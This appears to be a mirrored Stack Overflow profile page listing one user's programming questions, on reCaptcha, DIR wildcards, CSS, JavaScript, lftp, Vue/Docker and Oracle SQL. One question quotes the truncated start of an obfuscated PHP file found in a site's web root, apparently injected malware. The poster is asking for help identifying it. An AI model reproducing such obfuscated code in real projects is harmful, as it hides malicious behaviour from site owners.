小编dgo*_*dgo的帖子

ReCaptcha在iPhone上无法正常工作

我有一个简单的联系表格的网站.验证有点微小,因为它不会进入数据库; 只是一封电子邮件 表格如下:

有5个字段 - 其中4个是必需的.提交被禁用,直到4个字段有效,然后您可以提交.然后在服务器上再次验证所有内容,包括recaptcha(我的客户端未验证).整个过程使用ajax完成,并且有多个测试必须在服务器端传递或返回4**头,并调用失败回调处理程序.

一切都像桌面上的Chrome浏览器一样(我没有尝试过其他浏览器,但我无法想象他们为什么会有所不同),但是在iPhone上,即使我没有选中复选框,reCaptcha仍会验证考试.

换句话说:我仍然需要正确填写四个值才能提交,但如果我没有选中reCaptcha的方框,请求仍然会成功.

我可以发布一些代码,如果有人认为这将有所帮助,但似乎问题在于设备而不是代码.有没有人对此有任何见解?


注意:如果这有用,服务器端是PHP/Apache.


更新:2015年5月28日:

我还在调试这个,但似乎Mobile Safari忽略了我的iPhone上的响应标题.当我将响应输出到页面时,我在桌面上获得的(data,status,xhr)是:

  1. data:我的回答在这一点上只是说错误或成功 - >error

  2. status: error

  3. xhr: {'error',400,'error'}

在移动野生动物园:

  1. data: error

  2. status: success

  3. xhr: {'error',200,'success'}

所以 - 它似乎只是忽略了我的响应头.我试着明确设置{"headers":{"cache-control":"no-cache"}}但无济于事.


更新:2015年6月3日

每个请求,这是代码.这几乎可以肯定超过你的需要.由于我试图修复它所做的改变,它也变得更加迟钝.另请注意,虽然可能看起来存在尚未定义的变量,但它们(应该)已在其他文件中定义.

The client side

 $('#submit').on('click', function(e) {

    $(this).parents('form').find('input').each(function() {
        $(this).trigger('blur');
    })
    var $btn = $(this);
    $btn = $btn.button('loading');
    var dfr = $.Deferred();

    if ($(this).attr('disabled') || $(this).hasClass('disabled')) {

        e.preventDefault();
        e.stopImmediatePropagation();
        dfr.reject();
        return false;

    } else { …
Run Code Online (Sandbox Code Playgroud)

php iphone validation recaptcha

40
推荐指数
1
解决办法
8593
查看次数

奇怪的Windows DIR命令行为

我在寻找名字中带有数字的文件时偶然发现了这一点.当我输入:

dir **

(其中数字表示0到9之间的任何数字,星号和数字之间没有空格)

在cmd.exe命令提示符下,它返回任何不符合搜索条件的文件.有点奇怪的是,取决于目录,一些数字将起作用,而不是其他数字.例如,在与网站关联的目录中,我键入以下内容:

dir *4*
Run Code Online (Sandbox Code Playgroud)

返回的是:

Directory of C:\Ampps\www\includes\pages 

04/30/2012  03:55 PM               153 inventory_list_retrieve.php
06/18/2012  11:17 AM             6,756 ix.html
06/19/2012  01:47 PM           257,501 jquery.1.7.1.js
               3 File(s)        264,410 bytes
               0 Dir(s)  362,280,906,752 bytes free

这对我没有任何意义.任何线索?

问题出在stackOverflow上,因为DIR命令通常与批处理程序中的FOR结合使用.奇怪的DIR行为似乎会使批处理程序在使用DIR命令时可能不可靠.

编辑:(附加说明).虽然已经过了很长时间,但我发现了另一个怪癖,这几乎让我付出了很多努力.我想删除.htm特定目录树中的所有文件.我之前就意识到它也*.htm匹配.html文件.此外,*.man匹配.manifest,可能还有其他.删除.html该特定目录中的所有文件至少可以说是令人沮丧.

windows command-line cmd batch-file dir

16
推荐指数
3
解决办法
2283
查看次数

CSS3使文本尽可能大而不会溢出元素

我正在为IOS构建一个phonegap应用程序,我有一个<p>标签,其内容必须恰好是一行.

这些元素具有设备的整个宽度减去一点外部填充.我想要的是文本扩展到尽可能大的字体大小而不包装到下一行,没有被省略号截断或被剪切或溢出.

到目前为止,我可以通过精确设置字体大小来实现这一目标(可以完成 - 只有大约10个设备可以考虑),但我宁愿让IOS UIWeview显示出来.

用CSS实现这一点是否可行?

html css3 responsive-design

6
推荐指数
1
解决办法
1115
查看次数

循环内的Javascript变量声明

我有一种习惯,即我处于边缘强迫状态,但我认为可能完全没有必要.使用以下代码:

function abc(){
  var a,b;
  for(var i=0;i<10;i++){
    a=document.getElementsByTagName('LI').item(i).width;
    b=document.getElementsByTagName('DIV').item(i).width;
    // now do something with a and b
   }
   return;
}
Run Code Online (Sandbox Code Playgroud)

我强迫在循环之前声明变量而不是:

function abc(){
  for(var i=0;i<10;i++){
   var a=document.getElementsByTagName('LI').item(i).width;
   var b=document.getElementsByTagName('DIV').item(i).width;
    // now do something with a and b
   }
   return;
}
Run Code Online (Sandbox Code Playgroud)

请注意,在第二个代码块中,我var每次循环迭代时都定义变量.我想第一个是可读性等的最佳实践.但有时候我只是在攻击某些东西而不需要遵循最佳实践.

我的问题是:

是否有任何理由定义将使用var循环内的关键字重新定义的变量?

javascript variables performance loops

6
推荐指数
1
解决办法
4071
查看次数

为什么parseInt无法在Javascript中正确测试数组?

鉴于:

var obj={0:21,1:22}
Run Code Online (Sandbox Code Playgroud)

var arr=[21,22]
Run Code Online (Sandbox Code Playgroud)

为什么要parseInt(obj)回归NaN,但要parseInt(arr)回归21

我有一个函数,我要么传递int一个哈希类型object或一个普通的array.我期待parseInt重返NaN两个objectarray,从而简化参数检查.是什么赋予了?

javascript parseint

4
推荐指数
1
解决办法
58
查看次数

使用lftp执行动态命令 - 多个命令

我确信有一种简单的方法可以做到这一点,但我找不到它.我想要做的是使用lftp执行一系列命令,我想尽可能避免重复连接到服务器.

基本上,我有一个文件,其中列出了服务器上的ftp目录.我想连接到服务器,然后执行如下所示的事情:(假设此时我已经使用cat将文本文件转换为行数组)

for f in "${myarray}"
do
cd $f;
nlist >> $f.txt;
cd ..;
done
Run Code Online (Sandbox Code Playgroud)

当然这不起作用,但我必须想象有一个简单的解决方案,我想要实现的目标.

在shell脚本方面,我很缺乏经验.有什么建议?

ftp bash shell loops lftp

3
推荐指数
1
解决办法
4087
查看次数

CSS Media Queries -> Link vs @media

It seems to me that it is infinitely better to define media queries in the HTML file within the link> tag rather than by using @media only... in external CSS files.
You can have a large number of specific files modularized quite nicely and extremely specifically depending on what device is being targeted, and only the files you need will be retrieved. I can't think of a single reason not to use this method, or a single instance where it …

html css media-queries

3
推荐指数
1
解决办法
1232
查看次数

Web 根目录中的奇怪 PHP 文件

public_html我在我正在处理的场景的目录中发现了几个奇怪的文件。我称它们为奇怪是因为:

  1. 它们被命名为wolakfie.phptxvepdhxy.php等。
  2. 它们包含看似无用的代码 - 并非明显恶意,但肯定可疑。
  3. 我没有把它们放在那里。

现在,我不是第一个在这个网站上工作的开发人员,所以理论上他们过去可以做一些事情。以下是其中一个文件的内容示例:

    <?php
    $immanuel='JP';$armory='[L[r=t_ii';$forehead='e';$avowal ='G$I(P'; $hewett ='r';$blockading='c'; $folly= ' '; $balking='c';$caste= '$'; $aspirate ='?ca=R';$hegemony =')t,)aRo]';
    $closing = 'e'; $knell ='epI$';

    $delays ='R';$authors ='t';
    $immortal ='r'; $displace='S'; $decomposition = 's'; $bastard = 'S';$aurelia='G'; $bisexual= 'H'; $canteen='R';$cager = 'O'; $lorain= 'r]Ogp$';$branden = 'r'; $durant ='(';$lacquered='?gD)(<ls$';$dreamt = '[tPv';$earls ='N;o")(_('; $flowing = 'o';$lactate =';'; $cabaret = 'ri"g)sEyr';
    $censor = '@';
    $asparagus= 'T""';
    $graying= 'leopua';
    $casper = 'e';$kiah='sraKTO';$become = 'CiiS';$flak= ':';
    $madmax='_n(H';$economizing= 'Egf$v'; $clatter = …
Run Code Online (Sandbox Code Playgroud)

php apache malware

3
推荐指数
1
解决办法
2670
查看次数

获取 vue devServer 代理以使用 docker 中的不同本地端口

在这里尝试正确设置这个有点疯狂。我在 docker 中使用 devServer 运行 Vue,然后运行 ​​json-server 的单独卷,用于提供假 api 数据。首先,我很乐意让这个简单的示例工作,但我不断收到代理错误。这是我当前的配置。

码头工人组成:

version: "3.7"

services:
  front:
    container_name: front
    build: .
    volumes:
      - .:/app
      - ./node_modules:/app/node_modules
    ports:
      - '8080:8080'

  api:
    image: vimagick/json-server
    command: -H 0.0.0.0 -p 3000 -w db.json
    ports:
      - "3000:3000"
    volumes:
      - ./server/data:/data
Run Code Online (Sandbox Code Playgroud)

Dockerfile:


FROM node:lts-alpine as front

# install simple http server for serving static content
RUN npm install -g @vue/cli

# make the 'app' folder the current working directory
WORKDIR /app

# Add necessary files to app
ENV …
Run Code Online (Sandbox Code Playgroud)

proxy docker vue.js

3
推荐指数
1
解决办法
1160
查看次数

Oracle DB Query Custom Order by

我正在寻找一种方法来完成类似于Oracle的模糊搜索.如果已经回答了这个问题,我很乐意接受一个链接,但我对Oracle很新,我甚至不确定如何快速搜索我想要的内容.

给出以下查询:

SELECT VEND_CUST_CD, LGL_NM, ALIAS_NM
FROM {{DB_NAME}}.{{DB_TABLE}}
WHERE ({{condition_1}}) AND ({{condition_2}}) AND (upper(LGL_NM) LIKE upper('%{{term}}%')
ORDER BY LGL_NM
Run Code Online (Sandbox Code Playgroud)

我想在回复中得到的是一个特定的订单.让我们想象term= ze出于此目的.

我想像这样订购结果:

  • 很多约翰逊
  • Ze bra Eaters
  • Ze ro Gravity
  • Ama ze d John
  • Bedaz ze l
  • La ze r Sex
  • Za ze w

因此,我首先得到的是开头的单词,term然后是包含term在其中的按字母顺序排列的单词列表.

我希望这很清楚.

sql oracle select sql-order-by sql-like

0
推荐指数
1
解决办法
39
查看次数

使用默认第一个值的短路分配

我想要的是类似以下内容:

let x=32
let y=x===32 ?: 7;
Run Code Online (Sandbox Code Playgroud)

我现实生活中的例子更像是这样的:

inlineFunction(parameterWithLongNameIAmTesting===20000?parameterWithLongNameIAmTesting:anotherLongNameVariable);
Run Code Online (Sandbox Code Playgroud)

基本上使三元短路。我想y等于x当且仅当x=== 32。在上面的情况下,分配给的值y将是 32。但是,如果我分配x给等于 50 或其他任何值,则将y等于 7。

javascript 中有内置的方法可以做到这一点吗?

javascript variable-assignment conditional-operator

-1
推荐指数
1
解决办法
113
查看次数